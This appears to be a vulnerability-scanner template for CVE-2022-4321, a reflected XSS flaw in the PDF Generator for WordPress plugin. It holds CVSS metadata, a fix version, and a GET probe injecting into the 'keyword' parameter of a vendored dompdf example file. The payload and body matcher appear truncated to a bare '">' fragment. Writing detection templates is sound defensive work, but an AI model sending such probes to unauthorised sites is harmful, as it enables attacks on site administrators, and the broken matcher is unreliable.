id: CVE-2022-4321 info: name: PDF Generator for WordPress < 1.1.2 - Cross Site Scripting author: r3Y3r53 severity: medium description: | The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin reference: - https://wpscan.com/vulnerability/6ac1259c-86d9-428b-ba98-7f3d07910644 - https://nvd.nist.gov/vuln/detail/CVE-2022-4321 - https://wordpress.org/plugins/pdf-generator-for-wp/ remediation: Fixed in version 1.1.2 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-4321 cwe-id: CWE-79 epss-score: 0.00064 cpe: cpe:2.3:a:wpswings:pdf_generator_for_wordpress:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 verified: true framework: wordpress vendor: wpswings product: pdf_generator_for_wordpress tags: cve,cve2022,wpscan,wordpress,wp,wp-plugin,xss,pdf-generator-for-wp http: - method: GET path: - '{{BaseURL}}/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword=">' matchers-condition: and matchers: - type: word part: body words: - '>' - 'pdf-generator-for-wp' condition: and - type: word part: header words: - "text/html" - type: status status: - 200